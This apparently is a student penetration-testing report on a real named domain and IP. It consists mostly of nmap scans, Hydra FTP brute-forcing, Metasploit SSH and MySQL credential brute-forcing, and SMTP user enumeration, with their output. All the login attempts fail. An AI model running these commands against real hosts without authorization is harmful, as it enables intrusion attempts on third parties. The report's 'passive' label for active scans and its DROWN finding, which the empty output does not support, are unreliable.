Web Application Penetration Testing

Anngela Roy - 20MIS0186
Gaurav Gaur - 20BCE0774
Francin Samuel - 20BCE2836
Pranshu Sangwan - 20MIC0146

DOMAIN: https://gmagro.in/

1. Introduction

Purpose of the Report: The purpose of this report is to present the findings of the foot-printing and reconnaissance activities conducted on the domain "**https://gmagro.in/**". The assessment aimed to gather information about the target domain's infrastructure, identify potential vulnerabilities, and provide recommendations for improving its security posture.

2. Foot-printing or Reconnaissance

Reconnaissance refers to the preliminary stage of an attack or penetration testing where an individual or a group gathers information about a target system or network. The goal of reconnaissance is to gather intelligence and gain an understanding of the target's infrastructure, vulnerabilities, and potential entry points. This phase typically involves passive information-gathering techniques such as open-source intelligence (OSINT) gathering, network scanning, and enumeration.

Footprinting, on the other hand, is a specific method within the reconnaissance phase. It involves actively collecting information about a target organization, its systems, and its employees to create a "footprint" or profile of the target. Footprinting techniques can include searching public records, social engineering, gathering information from websites, DNS queries, and other similar methods. The collected data is used to identify potential weaknesses or entry points that could be exploited in subsequent stages of an attack.

In summary, reconnaissance is the broader process of gathering information about a target, while footprinting is a specific technique used within reconnaissance to collect detailed information about the target organization and its systems.

Passive Footprinting or Reconnaissance:

During the passive footprinting phase, publicly available information was collected through search engines, social media, and public records. The following information was obtained:

Port 21 [FTP]:

Nmap -sV 166.62.10.31 -p21

```
anngela@Anngela: ~
File  Actions  Edit  View  Help
┌──(anngela㉿Anngela)-[~]
└─$ nmap -sV 166.62.10.31 -p21
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-25 23:29 IST
Nmap scan report for 31.10.62.166.host.secureserver.net (166.62.10.31)
Host is up (0.32s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.31 seconds

┌──(anngela㉿Anngela)-[~]
```

3. Session Attacks

Dictionary brute force attack on port 21

hydra -L user.txt -P passwords.txt ftp://166.62.10.31

[list of common usernames and passwords taken from GitHub]

```
┌──(anngela㉿Anngela)-[~]
└─$ hydra -L user.txt -P passwords.txt ftp://166.62.10.31
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in
 military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-26 01:
19:49
[DATA] max 16 tasks per 1 server, overall 16 tasks, 122877 login tries (l:81/
p:1517), ~7680 tries per task
[DATA] attacking ftp://166.62.10.31:21/
[STATUS] 49.00 tries/min, 49 tries in 00:01h, 122836 to do in 41:47h, 8 activ
e
[STATUS] 41.00 tries/min, 123 tries in 00:03h, 122762 to do in 49:55h, 8 acti
ve
[STATUS] 35.29 tries/min, 247 tries in 00:07h, 122638 to do in 57:56h, 8 acti
ve
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-26 01:
30:46
```

Port 110:

Scanning for vulnerabilities

nmap -p 110 –script vuln 166.62.10.31

```
┌──(kali㉿kali)-[~]
└─$ nmap -p 110 --script vuln 166.62.10.31
Starting Nmap 7.91 ( https://nmap.org ) at 2023-06-25 16:33 EDT
Nmap scan report for 31.10.62.166.host.secureserver.net (166.62.10.31)
Host is up (0.043s latency).

PORT   STATE SERVICE
110/tcp open  pop3
|_sslv2-drown:

Nmap done: 1 IP address (1 host up) scanned in 18.29 seconds

┌──(kali㉿kali)-[~]
└─$
```

Result:

Vulnerability found.

Sslv2- drown

Port 22[SSH]

Nmap -sC -sV 166.62.10.31

```
Terminal
      =[ metasploit v6.3.18-dev-                         ]
+ -- --=[ 2317 exploits - 1209 auxiliary - 412 post       ]
+ -- --=[ 1230 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: View all productivity tips with the
tips command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ssh_login

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                            normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                     normal  No     SSH Public Key Login Scanner


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 166.62.10.31
rhosts => 166.62.10.31
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /home/pragati/Desktop/cyber/userpass.txt
USERPASS_FILE => /home/pragati/Desktop/cyber/userpass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/ssh/ssh_login) > run

[-] Msf::OptionValidateError The following options failed to validate: USERPASS_FILE
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /home/pragati/Desktop/cyber/final.txt
USERPASS_FILE => /home/pragati/Desktop/cyber/final.txt
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 166.62.10.31:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >
```

MySql

```
Terminal
  33  exploit/multi/http/zpanel_information_disclosure_rce            2014-01-30       excellent  No     Zpanel Remote Unauthenticated RCE


Interact with a module by name or index. For example info 33, use 33 or use exploit/multi/http/zpanel_information_disclosure_rce

msf6 > use 17
msf6 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE /home/pragati/Desktop/cyber/pass.txt
PASS_FILE => /home/pragati/Desktop/cyber/pass.txt
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 166.62.10.31
RHOSTS => 166.62.10.31
msf6 auxiliary(scanner/mysql/mysql_login) > set USER_FILE /home/pragati/Desktop/cyber/user.txt
USER_FILE => /home/pragati/Desktop/cyber/user.txt
msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 166.62.10.31:3306     - 166.62.10.31:3306 - Found remote MySQL version 5.6.51
[!] 166.62.10.31:3306     - No active DB -- Credential data will not be saved!
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user 'root'@'49.36.98.101' (using password: NO))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: root:hello (Incorrect: Access denied for user 'root'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: root:bye (Incorrect: Access denied for user 'root'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: root:goo (Incorrect: Access denied for user 'root'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: root:gaa (Incorrect: Access denied for user 'root'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: sam: (Incorrect: Access denied for user 'sam'@'49.36.98.101' (using password: NO))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: sam2: (Incorrect: Access denied for user 'sam2'@'49.36.98.101' (using password: NO))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: sam2:hello (Incorrect: Access denied for user 'sam2'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: sam2:bye (Incorrect: Access denied for user 'sam2'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: sam2:goo (Incorrect: Access denied for user 'sam2'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: sam2:gaa (Incorrect: Access denied for user 'sam2'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: elon: (Incorrect: Access denied for user 'elon'@'49.36.98.101' (using password: NO))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: elon:hello (Incorrect: Access denied for user 'elon'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: elon:bye (Incorrect: Access denied for user 'elon'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: elon:goo (Incorrect: Access denied for user 'elon'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: elon:gaa (Incorrect: Access denied for user 'elon'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: musk: (Incorrect: Access denied for user 'musk'@'49.36.98.101' (using password: NO))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: musk:hello (Incorrect: Access denied for user 'musk'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: musk:bye (Incorrect: Access denied for user 'musk'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: musk:goo (Incorrect: Access denied for user 'musk'@'49.36.98.101' (using password: YES))
[-] 166.62.10.31:3306     - 166.62.10.31:3306 - LOGIN FAILED: musk:gaa (Incorrect: Access denied for user 'musk'@'49.36.98.101' (using password: YES))
[*] 166.62.10.31:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) >
```

Port 465:

```
File  Actions  Edit  View  Help
┌──(ps㉿PS)-[~]
└─$ nbtscan -r 166.62.10.31/24
Doing NBT name scan for addresses from 166.62.10.31/24

IP address       NetBIOS Name     Server    User             MAC address
_

┌──(ps㉿PS)-[~]
└─$ msfconsole

# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--||  *


       =[ metasploit v6.3.4-dev                           ]
+ -- --=[ 2294 exploits - 1201 auxiliary - 409 post       ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]
```

```
Metasploit tip: Display the Framework log using the
log command, learn more with help log
Metasploit Documentation: https://docs.metasploit.com/

msf6 > nbtscan -r 166.62.10.31
[*] exec: nbtscan -r 166.62.10.31

Doing NBT name scan for addresses from 166.62.10.31

IP address       NetBIOS Name     Server    User             MAC address
```

```
msf6 > nmap -sV 166.62.10.31
[*] exec: nmap -sV 166.62.10.31

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-30 11:52 IST
Nmap scan report for 31.10.62.166.host.secureserver.net (166.62.10.31)
Host is up (0.044s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE    VERSION
21/tcp   open  tcpwrapped
22/tcp   open  tcpwrapped
80/tcp   open  tcpwrapped
110/tcp  open  tcpwrapped
143/tcp  open  tcpwrapped
```

```
File  Actions  Edit  View  Help
465/tcp  open  tcpwrapped
587/tcp  open  tcpwrapped
993/tcp  open  tcpwrapped
995/tcp  open  tcpwrapped
3306/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.57 seconds
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > show options

Module options (auxiliary/scanner/smtp/smtp_enum):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   RHOSTS                          yes       The target host(s), see https:
                                             //docs.metasploit.com/docs/usi
                                             ng-metasploit/basics/using-met
                                             asploit.html
   RPORT      25                   yes       The target port (TCP)
   THREADS    1                    yes       The number of concurrent threa
                                             ds (max one per host)
   UNIXONLY   true                 yes       Skip Microsoft bannered server
                                             s when testing unix users
   USER_FILE  /usr/share/metasplo  yes       The file that contains a list
              it-framework/data/w            of probable users accounts.
```

```
View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 166.62.10.31
RHOSTS => 166.62.10.31
msf6 auxiliary(scanner/smtp/smtp_enum) > run

[*] 166.62.10.31:25       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```